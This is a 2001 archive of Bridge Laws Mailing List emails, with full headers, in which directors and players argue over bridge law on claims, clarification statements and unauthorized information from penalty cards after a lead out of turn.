owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.cswnet.com (mail.cswnet.com [209.136.192.23]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0LFurt03863 for ; Mon, 22 Jan 2001 02:56:53 +1100 (EST) Received: from kay (ashsv1-4.cswnet.com [209.136.193.4]) by mail.cswnet.com (Postfix) with SMTP id 7425E5D045; Sun, 21 Jan 2001 09:56:47 -0600 (CST) Message-ID: <004901c083c3$19ab6c20$04c188d1@kay> From: "Nelson/Kay Ford" To: "Marvin L. French" , References: <200101182216.OAA27032@mailhub.irvine.com> <01af01c081ca$1d6f8a80$56991e18@san.rr.com> <00a301c08295$ec165b40$56991e18@san.rr.com> <008c01c082f3$13deb480$22c188d1@kay> <003301c08311$927815c0$56991e18@san.rr.com> Subject: Re: [BLML] Claim? Date: Sun, 21 Jan 2001 09:59:12 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "Marvin L. French" To: Sent: Saturday, January 20, 2001 12:42 PM Subject: Re: [BLML] Claim? > > L70B clearly lays out the steps a TD must take. > > > > Step 1 is is to have the claimer REPEAT his clarification > > statement. He cannot "repeat" a statement unless he has > > already made one. > > > > Step 2 is for all hands to be faced. > > > > Step 3 is to hear the opponents' objections (and presumably > > any rebuttals by claimer). > > > > IMO, L70D and L70E clearly are meant to apply to claimer's > > rebuttal to the opponent's objections. > > "Rebuttal" could have been used if that was intended. At any rate, > it seems to me that a rebuttal constitues a clarification statement. It could be argued that the term "Clarification Statement" is defined in L68C as a statement which is required to accompany a claim. Thus by definition, a rebuttal, which comes after the oppenents have faced their cards and stated their objections, cannot properly be called a "Clarification Statement". > > It is illogical to say that > > if claimer has not made a statement by Step 3, he will be > > allowed to make one after seeing the opponent's cards and > > hearing their objections. > > Step 4, which you gloss over, is to hear the claimer's rebuttal... If I "glossed over" Step 4, it was because L70B, which I was quoting, lists only 3 steps. > ...not accepting anything new "if there is an alternative normal* line of > play that would be less successful." Conversely, something new (not > necessarily a rebuttal) can be accepted if there is no such normal* > alternative. > > After all, the opponents may have no specific objections to the > claim, leaving it up to the TD to decide whether it is a valid > claim. Surely the claimer has a right to take part in a discussion > with the TD about this, and the discussion must normally include a > statement by the claimer. > > TD: "Why do you think you have all the tricks?" > Claimer: "Dummy's hand is going to take all the tricks with high > cards." > TD: "It seems to me you have to lose a heart finesse, since the > success of not doing so would depend on the heart honor dropping > offside." > Claimer: "That would be irrational, as West is known to hold the > high club, since East has shown out of clubs, and there is no room > in her hand to guard hearts." In your scenario, the TD is not following the steps proscribed in L70B. In Step 1, he is NOT supposed to ask the Claimer: "Why do you think you have all the tricks?" Instead, he is supposed to say: "Please repeat your statement of clarification." In Step 2, the cards are faced. In Step 3, the TD asks the opponents: "Why do you think Claimer does NOT have all the tricks." They state a normal line of play which will NOT take all the tricks. At this point, all the TD should ask the Claimer is: "What is your rebuttal to this line of play?" Here's a more germane example -- I have seen claims without a C.S. (declarer simply shows his hand) where both dummy and declarer had winners left in several suits, but without careful play, it would be possible for declarer to strand himself on one side or the other and not be able to take all his winners. At Step 3, TD asks the opponents to state a line of play giving them more tricks. The opponents state an order of play which strands declarer in dummy, but which does not involve any irrational plays, such as needlessly discarding winners. Now we get down to brass tacks. Under L70D, claimer can rebut the line of play given by defenders as to oversights in the line or if all the plays in the line can be considered "normal" (defined as possibly careless or inferior, not irrational), but if he is not able to rebut and of the plays made as not being "normal", he CANNOT suggest a completely different order of play since "there is an alternative normal line of play that would be less successful (for declarer)." In other words, TD should NOT simply ask of declarer (as he does in your example): "Why do you think you have all the tricks?" The proper question is: "Can you rebut/refute the line of play specified by the opponents?" This is a far cry from saying/implying that if Claimer did not "accompany his claim with a statement of clarification" as required, he has carte blanche to come up with one on his own after the TD has arrived, particularly after seeing all the cards. Nelson Ford -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 04:07:02 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0LH6GH03957 for bridge-laws-outgoing; Mon, 22 Jan 2001 04:06:16 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.uunet.be (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0LH67t03949 for ; Mon, 22 Jan 2001 04:06:08 +1100 (EST) Received: from village.uunet.be (uu212-190-4-251.unknown.uunet.be [212.190.4.251]) by bru5-smtp-out1.uunet.be (8.9.3/8.9.1) with ESMTP id SAA23115 for ; Sun, 21 Jan 2001 18:06:03 +0100 (MET) Message-ID: <3A696AF5.E96FF1FC@village.uunet.be> Date: Sat, 20 Jan 2001 11:39:49 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] penalties AND UI - too much ? References: <3A670674.673519AE@village.uunet.be> <006501c08261$a11943c0$56991e18@san.rr.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "Marvin L. French" wrote: > > From: "Herman De Wael" > > Partner leads out of turn, the ace of diamonds. > > > > Declarer allows you to play what you want. > > > > >From AKJx of hearts, you lead the ace, to see the table. > > The queen of hearts is not there. > > > > Again declarer allows you to play what you want. > > > > If you now play diamonds, your partner is in to bring you > > the hearts. > > > > But, says declarer later, the Ace is UI, and you could also > > have switched clubs as a LA, so please give me my contract > > back. > > > Declarer had the option of L50D2(a) or (b). (a) would have prevented the > opponent from leading a diamond as long as he held the lead, and the > diamond ace would no longer have been a penalty card, pick it up. > > (b) lets the defender lead any card, and the diamond ace remains a > penalty card. After the first trick is complete, this time with the > defender still on lead, we start over. > > There still exists a major penalty card, and declarer can again choose > between (a) and (b). Again he chose (b), "lead any card." > > I don't see the problem, I guess. "Lead any card" means lead *any* card. > The problem is, Marv, that 50D1 states that the Ace of diamonds is UI to partner. Since you might just as easily have sought partner is clubs or spades, those are LAs and you may not lead diamonds, as per L16. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 04:07:02 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0LH6G403956 for bridge-laws-outgoing; Mon, 22 Jan 2001 04:06:16 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.uunet.be (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0LH66t03948 for ; Mon, 22 Jan 2001 04:06:07 +1100 (EST) Received: from village.uunet.be (uu212-190-4-251.unknown.uunet.be [212.190.4.251]) by bru5-smtp-out1.uunet.be (8.9.3/8.9.1) with ESMTP id SAA23109 for ; Sun, 21 Jan 2001 18:06:00 +0100 (MET) Message-ID: <3A6968E2.28F86136@village.uunet.be> Date: Sat, 20 Jan 2001 11:30:59 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] Claim? References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> <00a201c0817b$f915f460$1614f7a5@oemcomputer> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Pam's arguments are quite valid, but : pam wrote: > > On Fri, 19 Jan 2001 00:51:15 +0000, DWS wrote: > > > > That is what really worries me: any interpretation whose main effect > >is to give ammunition to BLs and leave other people unaffected seems > >horrendous to me. > > It's only horrendous because there aren't enough BLs around. If every > second player was a BL we'd all have to abide by the same set of > rules. This might piss off the expert for a bit but after a while > (s)he would learn to play by the same rules as the rest of us. > > And more of the same. However, the comparison with a bid out of turn and such is not valid. Those are irregularities, and they cause problems. The only way to solve them is by following the law book. Such is not the situation here. Here we have someone making an innocent remark, which does no harm. And the we have a BL trying to turn that remark to his advantage, by asking declarer to now put up a full claim statement or suffer the consequences. That is where David S does not want to follow. And right he is. Considering the spirit of many laws, I conclude that the Lawmakers did not want this situation. Why else did they include a sentence like (unless he demonstrably did not intend to claim) ? Now as David B has correctly pointed out, that sentence does not apply in this situation. Which leaves us with an avenue for a BL. And not a good one, despite what you believe in general, Pam. As I already said, another one for Grattan's notebook. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 04:23:35 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0LHNPt03980 for bridge-laws-outgoing; Mon, 22 Jan 2001 04:23:25 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from calum.csclub.uwaterloo.ca (root@calum.csclub.uwaterloo.ca [129.97.134.11]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0LHNJt03976 for ; Mon, 22 Jan 2001 04:23:20 +1100 (EST) Received: from calum.csclub.uwaterloo.ca (localhost [127.0.0.1]) by calum.csclub.uwaterloo.ca (8.9.3+Sun/8.9.3) with ESMTP id MAA01229 for ; Sun, 21 Jan 2001 12:28:42 -0500 (EST) Message-Id: <200101211728.MAA01229@calum.csclub.uwaterloo.ca> From: Michael Farebrother To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] penalties AND UI - too much ? Reply-To: blml@farebrother.cx In-reply-to: References: <01C082FA.E03553C0.tsvecfob@iol.ie> Date: Sun, 21 Jan 2001 12:28:42 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On 20 January 2001 at 12:20, Ed Reppert wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >At 4:05 PM +0000 1/20/01, Fearghal O'Boyle wrote: > >>So while I want to allow the Diamond switch (50D2, 72A5) as others have >>indicated, I feel declarer is correct in his analysis (50D1, 16C2) and the >>Diamond switch is not allowed if another switch is an LA. > I think he means L50D1->L16A1. Yes, L16C2 pertains to withdrawn actions, but L50D1 specifically states (parenthesis in the original): (the requirement that offender must play the card is authorized information for his partner; however, other information arising from facing of the penalty card is unauthorized for partner) This was added in the 1997 version of the laws, and I believe was hotly debated on BLML at the time. I understand what this is trying to do (frankly, I believe it was put in for exactly this reason (as well as to disallow plays made more likely to be successful by lack of declarer's points containing DA)), but I have always thought it unenforceable, and downright silly. >under 16C2, lead a diamond. But as long as the DA remains a penalty >card, the player can lead whatever he wants - including a diamond. Under 1987 Laws, yes. Under 1997 Laws, you need to show that there are no logical alternatives to the diamond switch (knowledge of partner having the DA making the diamond switch much more likely to succeed). I think this gives declarer much too much of an advantage, but it's the way the Law reads. As I said, I thought this particular change was silly three years ago. I've heard the following: "I'm allowed to know that partner has to play the DA on the first diamond trick, but I'm not allowed to know that partner has the DA? How do I do that?" My reply? "I don't know either. But them's the Laws." And while I'm a stickler for the Laws (there's a thread on the Advanced Squad Leader Mailing List about strict adherence to the rules (and the FLB could drop into chapter A of the ASLRB without making a ripple) describing the factions as "counter shufflers" and "puckerbutts". I'm definately a PB WRT TF(DCB)LB), and I will exercise my options with a MPC on the table, I'd probably let this one slide. Michael. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 05:05:58 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0LI5XG04018 for bridge-laws-outgoing; Mon, 22 Jan 2001 05:05:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from calum.csclub.uwaterloo.ca (root@calum.csclub.uwaterloo.ca [129.97.134.11]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0LI5Rt04014 for ; Mon, 22 Jan 2001 05:05:28 +1100 (EST) Received: from calum.csclub.uwaterloo.ca (localhost [127.0.0.1]) by calum.csclub.uwaterloo.ca (8.9.3+Sun/8.9.3) with ESMTP id NAA01989 for ; Sun, 21 Jan 2001 13:10:51 -0500 (EST) Message-Id: <200101211810.NAA01989@calum.csclub.uwaterloo.ca> From: Michael Farebrother To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Claim? Reply-To: blml@farebrother.cx In-reply-to: References: <5.0.2.1.0.20010120133123.00a23510@mail.rz.uni-duesseldorf.de> Date: Sun, 21 Jan 2001 13:10:51 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On 20 January 2001 at 12:08, Ed Reppert wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >At 1:37 PM +0100 1/20/01, Richard Bley wrote: > >>I agree that the wording of the laws are the way David Burn >>describes it. But: IMHO this is an awful rule. Laws are written >>regularly to protect the innocent people from falling into tricky >>traps. Here is no tricky trap to see; just be annoyed by an opp is >>not enough for me here. To make a claim out of all this silly >>statements is just too much for the non-offenders (imagine trump >>contracts alone...). I agree, it is uncomfortable, but the Law was changed for a reason, and IIRC, that was to avoid declarer saying something claimlike, watching/listening to reactions, then stating "I was just making noise" and proceeding to play with all the inferences. The new Law makes his "noise" a claim, and deals with it. Yes, there is a tradition in bridge for declarer to point out things his partner has done wrong upon seeing dummy. Frankly, if ruling some of these statements as claims, according to a literal reading of the FLB, causes the frequency of such sparkling nuggets of information to be reduced, I would take it as a net gain to bridge. I think I am going to talk to this one person I watched play at my club Friday, and suggest a simple plan which I will guarantee will give her partnership at least one trick per session: "Five words. 'Thank you, partner. Nice hand.' No more, no less. Ever." >>Still IMHO it is right to punish this sort of statements ("Pard we >>have a grand on!") but not with the score (and opps who get a lot >>of points out of it) but with penalty points. That is the right >>place for this behaviour. > >David's point, with which I agree, is that our opinions regarding >whether the law in this case (or similar) is good or bad are >irrelevant. I sympathize with the idea of "punishing" the offender >(just who is the offender in this case - the guy with the big mouth, >or the BL who wants to take advantage of him?) but I'm not sure I see >how you justify it. And would not a similar punishment for the BL >also be appropriate? (Though I don't know under which law it would >fall.) > The one that used to be in the Scope, if done often enough. Tried in the court of popular opinion. And yes, I think the brush used was a bit wide. Maybe it can be looked into for the next review. Though if it doesn't change, it probably means that the WBFLC meant what they say (and from the sounds of Grattan's opinions - and yes, I remember they are only opinions - I believe they did mean what they say, harsh as it may be). I'd like to thank NK for bringing this to our (my) attention - I hadn't really noticed the ramifications of this particular phrase. >Questions: Given Law 68 and Law 84B, how do you rule if called to the >table in this case? (That is, where declarer, on seeing dummy, says >"Oh, we're going to make twelve tricks.") Do you do what the Law >*says* you must do, or do you do something else? Yes. :-) "Ah. Yes, that is a claim. [read out sentence that says so]. In a minute, I'm going to ask for a statement of clarification, as he hasn't had time to make one yet. However, I would like to point out that it is possible for me to waive any penalties for this infraction, but only if one of the defenders asks me to. Would anyone like to ask me something?" >If the latter, what of Law 81B2? As you can see, I like L81C8. I encourage its use, when I believe that people are BLing ad absurdam (i.e. the kind of tactics I would respond "This is b*$((#t sleaze tactics, you know that. Don't think your card skills are good enough?" (and yes, I know I just said in my last message I am a puckerbutt about the Laws, and use them (though I make sure my opponents know about them to use them against me, when I MPC myself, for instance). There are still tactics that are ungentlemanly (unladylike, unwanted in Our Game, take your pick) if I were in the bar, and weren't a director (and was built to handle the physical violence that would likely erupt from such a statement, I guess)). Now who was it who said "That paragraph should be taken out and shot?" . >If your ruling is appealed, can the AC do anything, in view of >Law 93B3, other than try to persuade the TD to change it? > Well, they can dispute my reading of normal* (footnote part of the word, in this case), or the adjusted score I give as a result. However, I don't believe they can overrule me on the reading of "This is a claim". Michael. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 05:19:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0LIJ3F04034 for bridge-laws-outgoing; Mon, 22 Jan 2001 05:19:03 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mta05-svc.ntlworld.com (mta05-svc.ntlworld.com [62.253.162.45]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0LIIrt04030 for ; Mon, 22 Jan 2001 05:18:58 +1100 (EST) Received: from m253-mp1-cvx1a.lan.ntl.com ([62.252.164.253]) by mta05-svc.ntlworld.com (InterMail vM.4.01.02.27 201-229-119-110) with SMTP id <20010121181848.EIZO18404.mta05-svc.ntlworld.com@m253-mp1-cvx1a.lan.ntl.com> for ; Sun, 21 Jan 2001 18:18:48 +0000 From: pam To: Bridge Laws Subject: Re: [BLML] Claim? Date: Sun, 21 Jan 2001 18:19:40 +0000 Message-ID: <6q7m6t0k34frbqqe19jjnc2igu82j5emdo@4ax.com> References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> <00a201c0817b$f915f460$1614f7a5@oemcomputer> <3A6968E2.28F86136@village.uunet.be> In-Reply-To: <3A6968E2.28F86136@village.uunet.be> X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0LIIxt04031 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Sat, 20 Jan 2001 11:30:59 +0100, Herman wrote: > >Considering the spirit of many laws, I conclude that the >Lawmakers did not want this situation. Why else did they >include a sentence like (unless he demonstrably did not >intend to claim) ? They presumably included that sentence to cater for declarer accidentally exposing his cards or for him suggesting a hand be curtailed because the fire alarm is ringing - at least that is how I read that particular law. :Any statement to the effect that a contestant will win a specific :number of tricks is a claim of those tricks. A contestant also claims : when he suggests that play be curtailed, or when he shows his cards : (unless he demonstrably did not intend to claim). > >Now as David B has correctly pointed out, that sentence does >not apply in this situation. In which case it is completely irrelevant and I don't understand why you brought it up. Now if "any statement to the effect that a contestant will win a specific number of tricks" is the definition of a claim then DWS's example is clearly a claim and to say it is not is, well, completely bonkers. Whether or not it was a casual remark is completely irrelevant. Here it is again for those who have probably forgotten DWS DWS Declarer looks at dummy, and comments: DWS DWS "Oh dear! We should be in slam - we are going to make twelve tricks!" DWS DWS Has he claimed? YES HE HAS! Of course he has. There can be no doubt that he has claimed because he made a statement to the effect that he was going to make 12 tricks and that is what the Book says is a claim. Now if the Book were changed to read: : Any statement to the effect that a contestant will win a specific : number of tricks is a claim of those tricks except when it is obvious to the director : that he really didn't mean to. A contestant also claims : when he suggests that play be curtailed, or when he shows his cards : (unless he demonstrably did not intend to claim). then I would say that he hadn't claimed if the director thought it was obvious that he hadn't. > >Which leaves us with an avenue for a BL. >And not a good one, despite what you believe in general, >Pam. Supposing declarer on seeing dummy says "Oops, underbid pard, we can make a slam" and the defense consequently do not defend with their usual sharpness and allow 12 tricks to be made when the rest of the room is making 10 or 11. A few tables later this particular declarer does the same thing but has the misfortune to have a BL defending who calls the director to dispute the "claim". Everyone sneers at the BL and sympathises with that nice declarer who only made a casual and innocent remark. Pam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 08:40:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0LLdad13465 for bridge-laws-outgoing; Mon, 22 Jan 2001 08:39:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-31.mail.demon.net (anchor-post-31.mail.demon.net [194.217.242.89]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0LLdEt13376 for ; Mon, 22 Jan 2001 08:39:19 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-31.mail.demon.net with smtp (Exim 2.12 #1) id 14KSCY-000NwF-0V for bridge-laws@rgb.anu.edu.au; Sun, 21 Jan 2001 21:39:11 +0000 Message-ID: Date: Sun, 21 Jan 2001 03:00:30 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] penalties AND UI - too much ? References: <3.0.5.32.20010120233500.00889100@mail.netvision.net.il> In-Reply-To: <3.0.5.32.20010120233500.00889100@mail.netvision.net.il> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Eitan Levy writes >>At 4:05 PM +0000 1/20/01, Fearghal O'Boyle wrote: >> >>>So while I want to allow the Diamond switch (50D2, 72A5) as others have >>>indicated, I feel declarer is correct in his analysis (50D1, 16C2) and the >>>Diamond switch is not allowed if another switch is an LA. >>16C2 pertains to *withdrawn* actions. There has been no such action >>here. Had the declarer placed a lead restriction, allowing the DA to >>be withdrawn and placed in the player's hand (50D2(a)) *then* the >>fact that player holds that card is UI, and his partner may not, >>under 16C2, lead a diamond. But as long as the DA remains a penalty >>card, the player can lead whatever he wants - including a diamond. >Law 16C2 doesnt pertain to *withdrawn* actions. It pertains to *withdrawn >actions by the offending side* - not offending *player*. And it pertains to >*actions* not *cards*. The OOT lead (an action) has been withdrawn and >substituted by another lead (action). And if Law 16C2 doesn't apply why >does Law 50D1 state that the information is unauthorized? I do not see the connection. L16C2 does not seem to apply to me - but we know it is UI because L50D2 says so. We do not need L16C2. >I agree that this law >(1) is extremely difficult to implement (in practice, try differentiating >between the fact that if a diamond is led the ace must be played is >authorized, and the fact that partner has the ace of diamonds is unauthorized) >(2) was received with dismay by many TD's >(3) is probably ignored by most TD's (at the club level) >(4) wouldn't leave us too much time to get on with the game, if we had to >analyse virtually every LOOT situation for logical alternatives >(5) should be changed >BUT it is the law, and it's not for us to arbitrarily ignore it. I think I agree with every one of these six statements. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 08:40:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0LLdSc13434 for bridge-laws-outgoing; Mon, 22 Jan 2001 08:39:28 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-31.mail.demon.net (anchor-post-31.mail.demon.net [194.217.242.89]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0LLdCt13359 for ; Mon, 22 Jan 2001 08:39:13 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-31.mail.demon.net with smtp (Exim 2.12 #1) id 14KSCX-000NwC-0V for bridge-laws@rgb.anu.edu.au; Sun, 21 Jan 2001 21:39:07 +0000 Message-ID: Date: Sun, 21 Jan 2001 02:38:40 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> In-Reply-To: <002101c0830a$91a9a660$56991e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L. French writes >David Burn wrote: > >> >> Ladies and gentlemen, this sophistry is really not seemly. We may >not be >> happy with the notion that a player who is "just kidding around" >should >> be treated as though he has made a claim. It may very well be that >a >> player who insists that the utterance "we will make twelve tricks" >be >> treated as a claim even though it was not so intended should have >a >> millstone tied about his neck and be cast into the depths of the >sea. As >> to that, I express no opinion - but that was not the question. The >> question was: does the utterance "we will make twelve tricks" >constitute >> a claim? The answer to it is "Yes". >> >Reinforcing this well-written opinion is that the lawmakers >carefully changed the Law in 1987 from "when he announces" to when >he makes "any statement to the effect." The argument that "any >statement" must be a formal announcement to the opponents in order >to be a claim becomes nonsense when that change is considered. If you look at the effect of changes, Marv, L71C comes to mind, you will realise that the Lawmakers, being human have not surprisingly got some unlooked-for effects from changes. I do not see that the fact they changed it necessarily means they got the result they are looking for. I know that certain people do not give a damn about the game itself, but for those of you that do, let me make one more effort. If we follow what you, Marv, are saying, we have reached a position where if you happen to remark to dummy that you have twelve tricks, clearly not meaning it as a claim, not only have the opponents got a right to treat it as a claim, but also one to which you will not be allowed to add a clarification statement. Is that what you really and honestly believe is what the Lawmakers intended? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 08:40:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0LLdRR13428 for bridge-laws-outgoing; Mon, 22 Jan 2001 08:39:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-31.mail.demon.net (anchor-post-31.mail.demon.net [194.217.242.89]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0LLdCt13360 for ; Mon, 22 Jan 2001 08:39:13 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-31.mail.demon.net with smtp (Exim 2.12 #1) id 14KSCX-000NwB-0V for bridge-laws@rgb.anu.edu.au; Sun, 21 Jan 2001 21:39:08 +0000 Message-ID: Date: Sun, 21 Jan 2001 00:57:32 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Let's get back to the easy stuff References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ed Reppert writes >Hash: SHA1 > >At 3:11 PM +0000 1/19/01, David Stevenson wrote: > >>Is everyone happy? Just to remind you, I opened 1S because I had five >>good spades and six poor hearts, discovered I had opened out of turn and >>silenced partner, and now I wish to rebid spades so as to confuse the >>oppos: does L16C constrain me? > >I don't see how - I agree with Jacs; what's in your hand is AI to you. Of course what is in my hand is - but is the fact that I have bid 1S AI? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 22 08:40:27 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0LLdc213479 for bridge-laws-outgoing; Mon, 22 Jan 2001 08:39:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-31.mail.demon.net (anchor-post-31.mail.demon.net [194.217.242.89]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0LLdOt13425 for ; Mon, 22 Jan 2001 08:39:25 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-31.mail.demon.net with smtp (Exim 2.12 #1) id 14KSCf-000NwE-0V for bridge-laws@rgb.anu.edu.au; Sun, 21 Jan 2001 21:39:20 +0000 Message-ID: 